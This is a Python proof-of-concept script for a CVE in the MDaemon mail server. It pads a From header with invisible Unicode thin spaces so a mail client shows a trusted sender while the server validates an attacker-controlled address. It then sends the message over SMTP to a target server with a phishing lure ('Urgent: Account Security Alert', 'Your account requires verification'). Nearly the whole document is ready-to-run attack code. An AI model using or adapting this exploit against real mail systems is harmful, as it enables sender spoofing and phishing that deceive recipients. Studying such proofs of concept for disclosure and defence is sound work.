# CVE-2025-61084 PoC - MDaemon Unicode Space Email Spoofing
# This PoC demonstrates how invisible Unicode thin spaces can bypass SPF/DKIM/DMARC validation
import smtplib
from email.mime.text import MIMEText
from email.header import Header
def create_spoofed_email():
# Unicode thin space (U+2009) - invisible character
thin_space = '\u2009'
# Crafted From header that displays legitimate sender but actually from attacker
# The server validates '
[email protected]' but client displays '
[email protected]'
spoofed_display_name = '
[email protected]' + (thin_space * 10)
# From header format: Display Name <
[email protected]>
from_header = f'{spoofed_display_name} <
[email protected]>'
msg = MIMEText('Your account requires verification.', 'plain', 'utf-8')
msg['From'] = from_header
msg['To'] = '
[email protected]'
msg['Subject'] = Header('Urgent: Account Security Alert', 'utf-8')
return msg
def send_spoofed_email(smtp_server, smtp_port, from_addr, to_addr):
msg = create_spoofed_email()
try:
with smtplib.SMTP(smtp_server, smtp_port) as server:
server.starttls()
# Attacker controls this address which passes validation
server.sendmail(from_addr, [to_addr], msg.as_string())
print(f'[+] Spoofed email sent successfully')
print(f'[+] From displayed:
[email protected]')
print(f'[+] From validated:
[email protected]')
except Exception as e:
print(f'[-] Error: {e}')
if __name__ == '__main__':
# Target MDaemon mail server
TARGET = 'vulnerable-mdaemon-server.com'
PORT = 25
# Attacker controlled email that passes validation
ATTACKER_EMAIL = '
[email protected]'
VICTIM_EMAIL = '
[email protected]'
send_spoofed_email(TARGET, PORT, ATTACKER_EMAIL, VICTIM_EMAIL)